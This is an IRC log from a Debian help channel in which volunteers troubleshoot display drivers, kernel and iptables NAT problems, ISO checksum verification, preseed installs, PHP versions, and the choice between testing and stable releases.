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| 19:30.35 | ch077179 | jelly: do I have to replace "Device" and "My GPU" with some of that lspci output? Or is this just a matter of taste? |
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| 19:30.56 | jelly | ch077179: it's just an informal label |
| 19:30.57 | ch077179 | I'm talking about the .conf file that /msg dpkg fglrx dkms suggests |
| 19:31.12 | jelly | ch077179: Device is a keyword. Don't touch that. |
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| 19:31.13 | ch077179 | ok, so I can safely try a restart? |
| 19:31.32 | jelly | NO WARRANTY |
| 19:31.55 | ch077179 | I haven't touched anything in that file, I just ran all the commands as given |
| 19:32.02 | ch077179 | understood |
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| 19:32.36 | jelly | if you installed the drivers, if it built the kernel modules successfully, if you created the file(s), then yes it's time to try the thing |
| 19:32.54 | ch077179 | alright, cu later, thanks for the help so far |
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| 19:36.22 | ch077179 | seems to have worked, I just want to get rid off the cloned displays |
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| 19:36.34 | DHowett | meh. is it possible for one systemd service to "provide" another? zfs-mount.service will mount /mnt/acentauri, but it does not provide mnt-acentauri.mount. I'd like to change that without getting too horribly deep in the annals of systemd :P |
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| 19:40.55 | greycat | (think you meant "innards"...) |
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| 19:41.34 | DHowett | greycat: you'd be correct in thinking that |
| 19:41.37 | DHowett | well, egg on my face. :P |
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| 19:42.06 | greycat | knows English but not systemd |
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| 19:42.34 | Fusl | is there someone that can help me with this error? Failed to fetch http://security.debian.org/pool/updates/main/libs/libssh2/libssh2-1_1.4.2-1.1+deb7u1_amd64.deb 404 Not Found [IP: 128.31.0.63 80] |
| 19:42.54 | Fusl | am i doing something wrong or is the mirror just f***** up? |
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| 19:43.30 | Stijn | Fus1: second one, I'd do an apt-get update |
| 19:43.34 | Stijn | or change the mirror |
| 19:43.36 | srg | Fusl: security.debian.org is being super slow on my part (over IPv6) |
| 19:43.36 | rozie | wget -O /dev/null http://security.debian.org/pool/updates/main/libs/libssh2/libssh2-1_1.4.2-1.1+deb7u1_amd64.deb |
| 19:43.53 | rozie | works just fine |
| 19:44.10 | Fusl | oh seems its working again now |
| 19:44.16 | Fusl | strange |
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| 19:44.55 | greycat | If I see a mirror glitch like that, I usually wait a minute, try "apt-get update" again, and retry, before panicking. |
| 19:45.39 | Fusl | well, it was that since 15 minutes already |
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| 20:04.06 | ch077179 | so I'm actually on xfce and I can't get it to NOT clone the two displays I'm using. xrandr -- |
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| 20:04.38 | ch077179 | xrandr --output dp1 --right-of dp2 gives screen cannot be larger than ... |
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| 20:05.01 | ch077179 | which file do I have to edit to teach xfce that it can run two monitors side by side? |
| 20:05.19 | ch077179 | or is xfce just a bad choice when using to displays? |
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| 20:10.35 | ScottE | ch077179: doubt it's related to xfce. More likely is that your xorg.conf contains more than it should, like bounding virtual size. Search for that error, you'll likely find some good answers |
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| 20:11.59 | ch077179 | I did, now I wonder where xorg.conf is... |
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| 20:12.09 | greycat | By default, there isn't one. |
| 20:13.01 | ch077179 | find / -name xorg.conf didn't return anything |
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| 20:14.32 | ch077179 | same thing with -iname. So I don't have a xorg.conf but xrandr still complains about too big a virtual screen. |
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| 20:15.58 | ch077179 | which category of software is involved in managing virtual screens? Do I have the wrong display manager? |
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| 20:21.17 | ScottE | ch077179: Check /etc/X11/xorg.conf.d |
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| 20:22.04 | ScottE | It's not called "xorg.conf" anymore since moving to run-parts style config |
| 20:22.38 | greycat | is this a jessie thing? |
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| 20:23.20 | ScottE | greycat: It's that way for me in both wheezy and jessie |
| 20:24.03 | greycat | I guess I'm "lucky" that neither of my boxes has/needs an explicit config at this time. |
| 20:24.22 | ScottE | I'm pretty sure you can still have xorg.conf, but it may not be auto-generated the new way by... whatever did that for me :-) |
| 20:24.39 | ScottE | ack, it "may be auto-generated the new way" |
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| 20:25.49 | Mongo44 | Should I use Jigdo the only documentation I can find on it was written in 2005. |
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| 20:27.49 | Mongo44 | <PROTECTED> |
| 20:27.58 | greycat | Download the net install ISO. |
| 20:29.47 | Mongo44 | 10-4 and thank you. I am going to make partitions for Wheezy and Jessie. |
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| 20:32.32 | ch077179 | ScottE: in that directory I only have the flgrx.conf that I just created with jelly's help |
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| 20:36.04 | ScottE | ch077179: Does that config set a Virtual size? (I don't remember the exact directive, but if that's smaller than the combined virtual screen it could be a problem). Been a long time since I've had to wrestle the ATI driver into submission |
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| 20:44.10 | Mongo44 | I found Debian testing that fits on three DVD's I assume that isn't the netinstall. |
| 20:44.18 | greycat | !netinst |
| 20:44.18 | dpkg | well, netinst is a small CD image with which you can install Debian. If, during the installation process you have a working Internet connection, you can install more packages straight away, otherwise, you will have a base install and more packages later. See http://www.debian.org/CD/netinst/ See also <various cd1>, <check iso image>, <dialup install>, <usb install>, <installer>. |
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| 20:45.58 | rainfyre | lol |
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| 20:47.10 | Ironhand | hello, I'm trying to set up iptables NAT on Debian Jessie, but anything involving the nat table leads to "iptables v1.4.21: can't initialize iptables table `nat': Table does not exist (do you need to insmod?)" |
| 20:47.22 | Ironhand | did something change? or am I screwing something up? |
| 20:47.30 | Ironhand | I've already modprobed various relevant-sounding modules |
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| 20:48.05 | Ironhand | this is kernel 3.17-rc5-amd64 |
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| 20:48.09 | Mongo44 | Alright I got it. What is that about the Debian RC 1 installer? |
| 20:48.27 | mjt | Ironhand: is it a debian kernel? |
| 20:48.31 | Ironhand | mjt: yes |
| 20:48.55 | mjt | jessie uses 3.16, and definitely not rc |
| 20:48.55 | Ironhand | standard linux-image-amd64 package |
| 20:49.13 | Ironhand | admittedly it's been a while since I upgraded a kernel |
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| 20:50.37 | Ironhand | though I didn't figure that would be likely to make a difference seeing this is something that's "always worked" |
| 20:51.01 | mjt | x_tables ip_tables nf_conntrack nf_nat nf_nat_ipv4 nf_defrag_ipv4 nf_conntrack_ipv4 iptable_nat -- that's the modules loaded by simple iptables -t nat -A POSTROUTING -j ACCEPT |
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| 20:51.31 | ch077179 | ScottE: no there's nothing related to virtual size |
| 20:51.42 | Ironhand | just modprobed all those... no change, not even 'iptables -t nat -L' works |
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| 20:51.52 | ch077179 | it's the one thing I'm desperately trying to find out. where is xrandr being limited to 1920x1920? |
| 20:51.54 | Ironhand | though I'm going to try to upgrade my kernel just in case |
| 20:52.01 | mjt | upgrade? |
| 20:52.06 | mjt | I'd say downgrade :) |
| 20:52.06 | ch077179 | I want 1920x3520 or so |
| 20:52.46 | Ironhand | downgrade to what? wheezy kernel? |
| 20:53.02 | mjt | jessie |
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| 20:54.00 | Ironhand | oh, I looks like I misread my own kernel version - oops... I thought I was running 3.14 (which is why I thought it was b/c of a lack of upgrades) |
| 20:54.14 | Mongo44 | Are iptables used to hide your ip address? |
| 20:54.25 | mjt | and you said you're running 3.17? |
| 20:54.39 | Ironhand | I recall now, it's a jessie-backports kernel |
| 20:54.53 | mjt | 3.17-rc? really? |
| 20:54.57 | Ironhand | unfortunately I'm pretty sure I need it for certain hardware support, though I'll be damned if I remember what it was... |
| 20:55.17 | Ironhand | still not entirely sure, I had completely forgotten I'd messed around with this... |
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| 20:55.29 | mjt | jessie-backports kernel?? |
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| 20:55.59 | blarghlarghl | Heya. If I'm cross-compiling, and the thing I'm cross-compiling needs libraries installed, does that mean I need cross-compiled libraries installed (which the build machine can't really do anything with since they're the wrong arch)? |
| 20:56.03 | blarghlarghl | I'm a little fuzzy on how dependencies work when cross-compiling in general. |
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| 20:57.50 | ompaul | Ironhand: what does uname -a say ? |
| 20:57.55 | Ironhand | hmmmm, trying to figure out where I actually got this kernel now - it's a debian-related source, that much I'm sure of |
| 20:58.12 | Ironhand | ompaul: Linux gytha 3.17-rc5-amd64 #1 SMP Debian 3.17~rc5-1~exp1 (2014-09-18) x86_64 GNU/Linux |
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| 20:58.41 | Ironhand | pretty sure now that's the source of my troubles at least: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=765691 |
| 20:58.48 | SynrGy | ,kernels |
| 20:58.49 | judd | Available kernel versions are: experimental: 3.19.0-trunk-686-pae (3.19.1-1~exp1); sid: 3.16.0-4-686-pae (3.16.7-ckt7-1); jessie: 3.16.0-4-686-pae (3.16.7-ckt7-1); wheezy-backports: 3.16.0-0.bpo.4-686-pae (3.16.7-ckt4-3~bpo70+1); wheezy: 3.2.0-4-686-pae (3.2.65-1+deb7u2); squeeze-backports: 3.2.0-0.bpo.4-686-pae (3.2.65-1+deb7u2~bpo60+1); squeeze: 2.6.32-5-686 (2.6.32-48squeeze6) |
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| 20:59.25 | Ironhand | only explanation I can think of is that I must have grabbed it from experimental a little while back |
| 20:59.29 | SynrGy | did you really need something more recent than 3.16? |
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| 20:59.34 | SynrGy | if so, for what reason? |
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| 21:00.19 | Ironhand | well, when I installed jessie a little while back there was some hardware feature of my toshiba ultrabook that didn't properly work |
| 21:00.37 | Ironhand | but it may have been that the jessie kernel wasn't 3.16 yet at that point |
| 21:00.48 | Ironhand | unfortunately I didn't bother to write down the specific thing that didn't work |
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| 21:01.04 | Ironhand | but I'm going to try downgrading and hoping nothing major breaks |
| 21:01.08 | SynrGy | yep |
| 21:01.27 | SynrGy | otherwise, there's 3.19 |
| 21:01.45 | Ironhand | yeah... though I do like the idea of running a kernel that's considered more stable if at all possible |
| 21:02.09 | ompaul | Ironhand: how old is that laptop? |
| 21:02.10 | SynrGy | lshw | grep product |
| 21:02.20 | SynrGy | you might need to install lshw |
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| 21:03.41 | Ironhand | laptop = toshiba portege Z30-A-18J ( http://www.toshiba.nl/laptops/portege/z30a/portege-z30-a-18j/ ), think I've had it for a little over half a year now |
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| 21:03.50 | Nindustries | Hi, any suggestions except the Xbox 360 wireless controller for a wireless controller on linux? |
| 21:04.04 | ompaul | Ironhand: please do what SynrGy was asking there with lshw |
| 21:04.25 | Ironhand | lshw output: http://pastebin.com/3zGJtVgJ |
| 21:04.36 | SynrGy | Nindustries: i'm happy with my logitech ... |
| 21:04.47 | Nindustries | SynrGy: got a pic? |
| 21:04.51 | SynrGy | Bus 002 Device 002: ID 046d:c21f Logitech, Inc. F710 Wireless Gamepad [XInput Mode] |
| 21:04.59 | SynrGy | you can google that for a pic |
| 21:05.46 | ompaul | that proc only needs 3.10 or higher |
| 21:06.00 | ompaul | 17 is quite a leap |
| 21:06.16 | Ironhand | I don't think the proc was the issue |
| 21:06.42 | SynrGy | Nindustries: mostly use it for SSB Brawl on dolphin-emu |
| 21:06.58 | Ironhand | I know it booted fine, must have been some secondary hardware, maybe something to do with input devices? I also recall some issue w.r.t. cpufreq stuff |
| 21:07.01 | SynrGy | my youngest is 13 and finds it a bit awkward |
| 21:07.05 | SynrGy | smaller hands? |
| 21:07.07 | SynrGy | shrugs |
| 21:07.36 | SynrGy | not sure what she finds objectionable vs. the wired logitech dual |
| 21:08.04 | SynrGy | unfortunately she's not here for comment, otherwise, she's probably a better source of critique than i am |
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| 21:09.52 | Mongo44 | I just downloaded the i386 Jessie image. Where do I find the checkum? |
| 21:10.26 | SynrGy | the CD faq answers this i think |
| 21:10.36 | SynrGy | http://www.debian.org/CD/faq ... sec |
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| 21:11.05 | SynrGy | https://www.debian.org/CD/faq/#verify |
| 21:11.22 | neglesaks | ? - formatteing a new drive. using Disk Utility. Drive gets formatted, but the owner of the drive ends up as root, and I have no access to the drive. attempts to change the owener with chown and chmod has NO effect |
| 21:11.32 | Ironhand | ok, just downgraded to 3.14 and nat works again... don't currently have much time to do a full check for what might have stopped working but I'll report back later if something did break |
| 21:11.37 | Ironhand | thanks for the responses so far |
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| 21:13.58 | neglesaks | Reformattign the drive with Ubunt, however, gives the desired result - a drive w/ me as owner. WHat is wrong with Debian in this case? |
| 21:14.58 | greycat | What is "Disk Utility"? Do you mean you created and mounted a new file system on a partition? If so, it's totally normal for the partition to be empty, and owned by root:root 755. |
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| 21:15.11 | greycat | If that isn't what you mean, then I am lost. |
| 21:15.56 | neglesaks | disk utility = palimpses |
| 21:16.10 | SynrGy | generally, stuff that can break your system (and wiping out filesystems falls in category) needs to be run as root |
| 21:16.17 | SynrGy | changing a device ownership is strange |
| 21:16.33 | SynrGy | is it removable media? |
| 21:16.35 | neglesaks | its a fresh formatted drive - i ask palimsest to take ownership of device - and it end up owned as root |
| 21:16.41 | neglesaks | no, its a 2,5" HD |
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| 21:17.16 | SynrGy | neglesaks: you've called it 'palimpses' and then 'palimsest'. can you get the spelling right so i can see what you're talking about? |
| 21:17.34 | neglesaks | Pardon me for being dyslexic. |
| 21:17.36 | greycat | I know there's an English word "palimpsest". Dunno if that's also a software product. |
| 21:17.50 | SynrGy | neglesaks: i'm not criticizing you for being dyslexic. i just need to be able to look it up ... |
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| 21:18.15 | neglesaks | palimpsest it the usual disk and partition management program in Debian 7. Gparted was the old gui-based app for that |
| 21:18.27 | neglesaks | fair enuff. |
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| 21:18.58 | coventry | Where should I look for an overview of apt/dpkg plumbing? I want to know what files store information recording which files were updated when, and how much of that could be cleaned to minimize identifiability of the system. |
| 21:19.06 | greycat | thought the usual disk/partition manager was lvcreate, mkfs.ext4, vi /etc/fstab, mount |
| 21:19.43 | Mongo44 | I guess it would be too handy to write the checksum next to the download links. |
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| 21:27.15 | SynrGy | ah, gnome-disk-utility |
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| 21:28.22 | Mongo44 | I found a file within the iso labeled md5sum is this the checksum? |
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| 21:29.06 | Mongo44 | If it is it's not the same as what I got from fciv. |
| 21:29.33 | neglesaks | yes it is |
| 21:29.49 | SynrGy | i'm surprised it doesn't wrap it in gksu or something |
| 21:30.10 | SynrGy | with removable media, the ownership ends up with the user |
| 21:30.30 | neglesaks | SO am I. |
| 21:30.31 | SynrGy | but if it's not removable, it tends to be owned by root, so you may need to manually gksu |
| 21:30.34 | SynrGy | or gksudo |
| 21:31.13 | SynrGy | if you have sudo set up, gksudo palimpsest |
| 21:31.32 | SynrGy | otherwise gksu |
| 21:31.42 | neglesaks | let me try |
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| 21:34.06 | chrstfer | how can I enumerate an extended partitions logical parts? |
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| 21:34.24 | SynrGy | neglesaks: to answer "why does ubuntu work differently?" maybe they have a different attitude towards ownership? they assume the desktop user rules. |
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| 21:34.46 | neglesaks | yes, that would make sense, where Debian is more server and security-oriented |
| 21:34.57 | SynrGy | yep. conservative |
| 21:35.43 | neglesaks | yes. |
| 21:35.47 | Mongo44 | I got the Debian testing i386 net install and I am not sure where the verified checksum is. |
| 21:35.57 | neglesaks | well, gksu gave the same results unfortunatel. ill retry chown |
| 21:36.15 | SynrGy | Mongo44: didn't i already answer this with the link above? |
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| 21:37.31 | Mongo44 | I will give it another look. Hopefully I get something. |
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| 21:38.16 | SynrGy | hm. and yes, those files are alongside the image files ... |
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| 21:38.32 | SynrGy | maybe some click-paths make it impossible to see |
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| 21:39.21 | Mongo44 | Well I guess it is simple the checksum is found in the checksum file, and they don't match. What now? |
| 21:39.24 | bmorriso | Working with preseed, what user am I? I'm trying to do a git clone on a private repo and need to do a ssh-keyscan github.com > /path/to/user/.ssh/known_hosts but getting a 'directory does not exist' even though earlier in the late_command I create the directory /root/.ssh |
| 21:39.32 | SynrGy | Mongo44: for example: http://cdimage.debian.org/debian-cd/7.8.0/amd64/iso-dvd/ |
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| 21:40.06 | bmorriso | So I'm thinking I may not be root user |
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| 21:41.13 | neglesaks | right, there must be some sort of error with the drive. when trying to chown it, it tells me that its a read-only file system, but i have not tagged it as such in the partition options. |
| 21:41.23 | neglesaks | thanks for your assiatnce SynrG , I appreciate it. |
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| 21:41.24 | SynrGy | bmorriso: whoami |
| 21:41.37 | SynrGy | neglesaks: hmm |
| 21:41.49 | SynrGy | neglesaks: any errors in dmesg? |
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| 21:42.14 | bmorriso | SynrGy: if I drop to another terminal during install (alt+f4), that doesn't work 'command not found' |
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| 21:42.26 | SynrGy | oh, during install |
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| 21:42.49 | SynrGy | you have preseed running a script? |
| 21:43.18 | SynrGy | i don't know what user the script runs as. no help from the debian installation guide appendix for preseeding? |
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| 21:43.39 | SynrGy | just remember, there's /root for the installer and there's /target/root |
| 21:43.41 | Mongo44 | SynrGy you got a link for i386 Jessie CD? |
| 21:43.44 | SynrGy | and they're not the same thing |
| 21:43.56 | bmorriso | Yeah, trying to include some git clone stuff in a late_command, not a script just in-target /usr/bin/git clone git@github.com:org/repo /var/tmp/repo and this fails -- because it is trying to check host keys...so in a prior step, I'm trying to do an ssh-keyscan github.com > /root/.ssh/known_hosts (assuming I was root) |
| 21:44.02 | bmorriso | Sounds like I might want /target/root |
| 21:44.22 | SynrGy | if it belongs in the system you're installing, it might. depends on if it's running inside a chroot or not |
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| 21:44.34 | SynrGy | i would need to know the context, and honestly i don't know |
| 21:44.41 | SynrGy | i'd be depending on the installation guide here |
| 21:44.46 | neglesaks | only erres i can see in the syslog are kernel reporting that the journal on the drive are unclean due to aborted writes, but it cant clean them up... |
| 21:45.39 | SynrGy | humm |
| 21:46.14 | Mongo44 | I am thinking it is a bad download the file labeled md5sum is not the same checksum I got from fciv. |
| 21:46.15 | SynrGy | not cleanly unmounted? |
| 21:46.15 | neglesaks | im not going to spend more time on it tonight. thanks again Sy |
| 21:46.18 | SynrGy | yeah |
| 21:46.23 | SynrGy | well, good luck, neglesaks |
| 21:46.26 | neglesaks | ty |
| 21:46.33 | SynrGy | Mongo44: what's 'fciv'? |
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| 21:47.12 | Mongo44 | It is the command line checksum verifier in Windows. |
| 21:47.20 | SynrGy | oh. |
| 21:48.13 | SynrGy | Mongo44: URL to the image you downloaded? |
| 21:48.22 | Mongo44 | With Kali it was simple the verified checksum was right next to the download link. |
| 21:48.26 | themill | Mongo44: I don't know what you mean by "checksum". the md5sum file contains md5sums |
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| 21:48.54 | Mongo44 | Just a type of checksum right? |
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| 21:49.08 | karlpinc | Mongo44: Right. |
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| 21:49.28 | SynrGy | Mongo44: first we should confirm you have the right file. the files are located in the same dir, so a URL would help |
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| 21:49.49 | Mongo44 | Ok. |
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| 21:51.10 | SynrGy | Mongo44: if you only have a direct link to the image, then just truncate the path to get to the directory containing the file |
| 21:51.25 | Mongo44 | https://www.debian.org/devel/debian-installer/ It is the i386 netinstall. |
| 21:51.27 | SynrGy | the MD5SUMS file there has the MD5 hashes |
| 21:51.45 | SynrGy | RC 1, then? |
| 21:52.00 | SynrGy | which architecture? |
| 21:52.18 | Mongo44 | Why 32 bit of course. |
| 21:52.21 | SynrGy | yeah, it has direct links |
| 21:52.29 | SynrGy | sorry, i had forgotten. you said that earlier |
| 21:53.09 | SynrGy | so like i said, take that link and truncate it to find the dir: |
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| 21:53.16 | SynrGy | http://cdimage.debian.org/cdimage/jessie_di_rc1/i386/iso-cd/ |
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| 21:53.49 | SynrGy | nab the MD5SUMS from there |
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| 21:57.24 | SynrGy | Mongo44: find it? |
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| 21:58.31 | Mongo44 | Pretty hard to find keep losing my place when I scroll. |
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| 22:05.47 | Mongo44 | It was the second to last one. |
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| 22:05.52 | akiva-thinkpad | does debian have a foundation or coorporate sponsor backing it? |
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| 22:06.01 | akiva-thinkpad | like the fsf? |
| 22:06.30 | SynrGy | akiva-thinkpad: donations are via SPI |
| 22:06.49 | SynrGy | that being said, we're all volunteers |
| 22:07.11 | SynrGy | why do you ask? |
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| 22:07.42 | SynrGy | !spi |
| 22:07.42 | dpkg | Software in the Public Interest (SPI) is the umbrella organization for Debian and other Free Software projects. http://www.spi-inc.org/ |
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| 22:08.13 | Mongo44 | SynrGy why does the md5sum file have a different checksum? Just a compiler error? |
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| 22:08.55 | themill | the iso image on the mirror looks fine to me |
| 22:09.29 | SynrGy | yep |
| 22:09.32 | themill | 2e9fc5b6631c97855eb4f676f8542c47 debian-jessie-DI-rc1-i386-netinst.iso â just like the MD5SUMS file promised |
| 22:09.47 | SynrGy | so fciv is suspect? or you're doing it wrong :p |
| 22:10.02 | Mongo44 | themill no that is incorrect. |
| 22:10.13 | themill | --verbose |
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| 22:10.37 | Mongo44 | This is what the file had: 7c897c2167f77748644493434066ae04. |
| 22:10.51 | SynrGy | what's "the file"? |
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| 22:11.10 | SynrGy | i gave you a link above ... |
| 22:11.16 | SynrGy | 18:53 < SynrGy> http://cdimage.debian.org/cdimage/jessie_di_rc1/i386/iso-cd/ |
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| 22:11.29 | SynrGy | the file called 'MD5SUMS' |
| 22:11.50 | SynrGy | i linked to the directory so you could see those files are located exactly alongside the iso images themselves |
| 22:12.01 | Mongo44 | "md5sum" |
| 22:12.07 | SynrGy | wtf is md5sum? |
| 22:12.57 | themill | Mongo44: You're going to need to explain what you're actually doing in more detail. We can't see your screen. |
| 22:12.58 | Mongo44 | So this could be a junk iso. |
| 22:13.09 | SynrGy | or you have the wrong file ... |
| 22:13.16 | SynrGy | because we haven't a clue what you're talking about |
| 22:13.41 | SynrGy | there is a file, located at the link i gave (twice) called MD5SUMS |
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| 22:13.52 | SynrGy | located in that file is the md5sum for every single ISO in the same directory |
| 22:14.00 | SynrGy | which is as themill quoted above |
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| 22:14.16 | SynrGy | and does not in any way resemble what you gave from whatever random file you produced |
| 22:14.36 | Mongo44 | The file in the iso is called md5sum. I looked at all the checkums and it was there. |
| 22:14.48 | SynrGy | i have no idea what that file is |
| 22:14.58 | SynrGy | md5sum of *what*? |
| 22:15.01 | Mongo44 | THe one I generated using the fciv utility. |
| 22:15.04 | SynrGy | you assumed it was of the image itself. apparently not. |
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| 22:15.27 | SynrGy | for the third time, use the MD5SUMS file located at the link i gave above |
| 22:15.49 | Mongo44 | Ok 10-4. |
| 22:16.22 | Mongo44 | Yeah I did that it was the second to last one. |
| 22:16.25 | SynrGy | Mongo44: the file called 'md5sum' is undoubtedly used by the installer for its own purposes ... |
| 22:16.35 | SynrGy | putting an md5sum of an image inside an image is crazy |
| 22:16.47 | SynrGy | you could flip the bits in the md5sum file, screwing it over |
| 22:16.57 | SynrGy | that's why the MD5SUMS ships separately |
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| 22:17.26 | Mongo44 | OK why does Debian make them hard to find? |
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| 22:17.49 | SynrGy | it doesn't |
| 22:18.00 | SynrGy | you started with a direct link to the image. the MD5SUMS file is in the same directory as the iso |
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| 22:18.43 | Mongo44 | So I just shouldn't fuss about the different checkum I found within the image? |
| 22:18.59 | SynrGy | it's clearly not a checksum of the image |
| 22:19.09 | SynrGy | it doesn't match what's in the MD5SUMS file for the image |
| 22:19.26 | SynrGy | d-i must use it for its own purposes, checksumming something else. |
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| 22:20.00 | ompaul_ | Mongo44: sometimes browsers are not the best way to download you could wget an image |
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| 22:20.40 | Mongo44 | Well I will browse through the readme see if I can figure it out later. It's time for dinner. Thanks SynrGy! |
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| 22:21.06 | SynrGy | np |
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| 22:21.35 | Mongo44 | ompaul_, don't have Linux on this computer yet. Well I am gone for now. |
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| 22:22.11 | o-|^_^|-o | Is there a way to update php 5.4 to 5.5 without an external repository source? |
| 22:22.27 | SynrGy | ,v php5 |
| 22:22.28 | judd | Package: php5 on i386 -- squeeze-security: 5.3.3-7+squeeze17; squeeze: 5.3.3-7+squeeze17; squeeze-security: 5.3.3-7+squeeze19; squeeze: 5.3.3-7+squeeze19; squeeze-security-lts: 5.3.3-7+squeeze25; wheezy: 5.4.36-0+deb7u1; wheezy-proposed-updates: 5.4.36-0+deb7u3; wheezy-security: 5.4.36-0+deb7u3; sid: 5.6.6+dfsg-2; jessie: 5.6.6+dfsg-2 |
| 22:22.34 | SynrGy | install jessie. |
| 22:22.43 | SynrGy | that has 5.6 |
| 22:22.52 | SynrGy | however, not recommended for a production server. |
| 22:22.55 | o-|^_^|-o | Do i need to edit my apt/source? |
| 22:23.11 | o-|^_^|-o | Ow. I need php 5.5 for the password_hash function. |
| 22:23.24 | o-|^_^|-o | So that's a no go on a production? |
| 22:23.43 | SynrGy | i wouldn't say "no go". i would say "carries significant risk" |
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| 22:24.09 | SynrGy | !testing |
| 22:24.09 | dpkg | Testing is a continuously updated release between <stable> and <unstable>, currently codenamed <jessie>. See http://wiki.debian.org/DebianTesting and ask me about <testing faq> <wheezy->jessie> <testing security> <moving target> <dda> <apt-listchanges> <apt-listbugs> and <bts>. You should have a sound knowledge of Debian packaging and be prepared for a bumpy ride at times. Don't use it on things that are critical or on servers. |
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| 22:24.50 | SynrGy | o-|^_^|-o: one thing *somewhat* mitigating the risk is we're in freeze and very close to being ready to release. |
| 22:24.56 | SynrGy | but that's not the same as "zero risk" |
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| 22:25.16 | o-|^_^|-o | Okay. Do you know hwen 5.5 is being deployed on stable? |
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| 22:25.24 | SynrGy | never. |
| 22:25.32 | SynrGy | not until jessie goes stable, and then it's 5.6 |
| 22:25.51 | o-|^_^|-o | So I'll have to wait then :/ |
| 22:26.02 | SynrGy | yes. you could try a test system with jessie on it. |
| 22:26.12 | nkuttler | ,checkbackport php5 |
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| 22:26.32 | SynrGy | keep your eye on the period announcements from the release team on lists.debian.org/deiban-devel-announce about the status of the release |
| 22:26.35 | judd | Backporting package php5 in sidâwheezy/i386: unsatisfiable build dependencies: Build-Depends: apache2-dev (>= 2.4), dh-apache2, libgd-dev (>= 2.1.0) | libgd2-dev. |
| 22:26.35 | SynrGy | periodic* |
| 22:26.37 | themill | (the length of time judd takes actually tells you the anwer) |
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| 22:26.52 | o-|^_^|-o | I'm not running apache though |
| 22:27.16 | SynrGy | apache-dev is not apache. |
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| 22:27.38 | SynrGy | er, apache2-dev, i mean |
| 22:27.52 | nkuttler | o-|^_^|-o: which php package do you use anyway? |
| 22:27.59 | SynrGy | it's the headers. |
| 22:28.10 | o-|^_^|-o | php5-fpm |
| 22:28.19 | nkuttler | ,checkbackport php5-fpm |
| 22:28.27 | judd | Backporting package php5-fpm in sidâwheezy/i386: unsatisfiable build dependencies: Build-Depends: apache2-dev (>= 2.4), dh-apache2, libgd-dev (>= 2.1.0) | libgd2-dev. |
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| 22:28.35 | nkuttler | eh |
| 22:28.48 | SynrGy | yeah. this is an old question, and has the same dead-ends |
| 22:28.57 | SynrGy | this is why i didn't bother asking judd |
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| 22:30.44 | o-|^_^|-o | I'll gues that I'm stuck with some kind of password_hash compat library until jessie is released :/ |
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| 22:31.17 | o-|^_^|-o | Thanks anyways guys! |
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| 22:45.19 | dokma | any tools left when pdftk refuses to split a pdf? |
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| 22:47.12 | themill | dokma: pdfsam; gs; any pdf reader and a "print to file" |
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| 22:47.32 | dokma | themill, just found that gs can do the job |
| 22:47.39 | dokma | it worked on a test range |
| 22:47.51 | dokma | now I'll try extract all the pages to individual pdfs |
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| 22:53.41 | dokma | themill, worked great with gs and a bash for loop |
| 22:53.49 | dokma | thank you |
| 22:54.04 | themill | np |
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| 23:12.44 | acz32 | what's better, using testing repos exclusively, or stable and testing, and setting the preference for stable to be greater and only getting packages i want to be newer from testing? |
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| 23:13.52 | themill | Don't mix releases. |
| 23:13.58 | srg | acz32: A mixed system will mess you up. |
| 23:14.34 | acz32 | how about stable and backports, giving backports higher priority? |
| 23:15.19 | themill | no, that's not how backports are designed to be used |
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| 23:15.50 | acz32 | ok, i'm trying to cheat and get security updates but also newer software lol |
| 23:16.20 | srg | testing sortof gets sec updates |
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| 23:16.49 | srg | either new (fixed) packages roll in from sid, or it shows up in the security.debian.org testing repo, but it's often delayed |
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| 23:17.17 | srg | I run testing on my desktop and a server (a very lightly used server, but a server nonetheless) |
| 23:17.26 | acz32 | about how often after a CVE is released does jessie get the fix compared to wheezy? |
| 23:17.34 | acz32 | how long* after |
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| 23:17.50 | themill | that depends |
| 23:18.28 | acz32 | this isn't for a server, just personal computer. am i significantly more vulnerable using testing than stable? |
| 23:19.17 | srg | I would say no, personally |
| 23:19.27 | themill | For that sort of threat model, no. |
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| 23:21.51 | acz32 | i want to stick with debian. it has never failed me. ubuntu is based on debian and has newer packages with security updates for them though. so isn't ubuntu a way to use debian testing and still have a security team looking after it? |
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| 23:22.39 | dondelelcaro | acz32: no |
| 23:22.52 | dondelelcaro | acz32: Ubuntu is based of of unstable, actually, and isn't a rolling release like testing is |
| 23:23.05 | dondelelcaro | acz32: Ubuntu also doesn't support the same set of packages that is in testing, either. |
| 23:23.25 | acz32 | ok, then it's unstable with security updates.. |
| 23:23.35 | themill | for some packages |
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| 23:23.41 | ryouma | my screen keeps blanking too early. i tried using xset to no avail. there is an xdg-screensaver process running, but i don't know why. i just use fluxbox. |
| 23:23.44 | dondelelcaro | with a six month delay |
| 23:23.56 | srg | acz32: Unstable might give you more problems than you want...it might not be worth it for "security updates" |
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| 23:24.30 | acz32 | srg: i don't want unstable. testing would be good enough for me. i just don't want to be exposed to anything i wouldn't be if i used stable |
| 23:24.44 | srg | acz32: Based off what you're saying, I see two choices: Run stable/wheezy and deal with slightly older packages, or run testing/jessie and deal with delayed security updates |
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| 23:25.39 | acz32 | can you give a rough average of how delayed they are in testing? |
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| 23:26.37 | srg | It really depends. packages in testing are rolled over from unstable. Security patches upstream are first packaged for unstable, then after certain critera, automatically moved into testing |
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| 23:27.09 | srg | if there's a important bug in sid that doesn't get fixed, testing might never be updated and the package will just be dropped (rare, but happens) |
| 23:27.34 | acz32 | so unstable has newer software and gets security updates first, too? :) |
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| 23:28.00 | srg | not by debian, by the upstream software devs |
| 23:28.09 | acz32 | ok, ya |
| 23:28.26 | acz32 | that's what arch people say when they claim their distro is secure because it's bleeding edge and no need for security team |
| 23:28.27 | srg | say there's an openssl bug. debian patches it on wheezy, and openssl releases their next version. the next version gets put into unstable, then moved into testing |
| 23:28.45 | srg | the new version of openssl never makes it into wheezy, but the patch does |
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| 23:29.28 | acz32 | oh, so the fix that you would get in testing came from upstream, not the debian security team? |
| 23:29.42 | themill | not at this stage of the release cycle |
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| 23:30.52 | SynrGy | one practical compromise is to run testing, pin it, and occasionally mix in updates from unstable |
| 23:31.25 | srg | acz32: Normally, gennerally yes. but jessie is close to a release, so right now, as themill said, it's in debian's hands |
| 23:32.14 | acz32 | ok |
| 23:33.05 | acz32 | the software in stable is fine 95% of the time. it's always just one or two things, like my file manager being so old |
| 23:33.12 | acz32 | and it isn't backported |
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| 23:33.56 | acz32 | i will install jessie and try to use that, and update to testing if i need to |
| 23:34.07 | acz32 | once there is another testing |
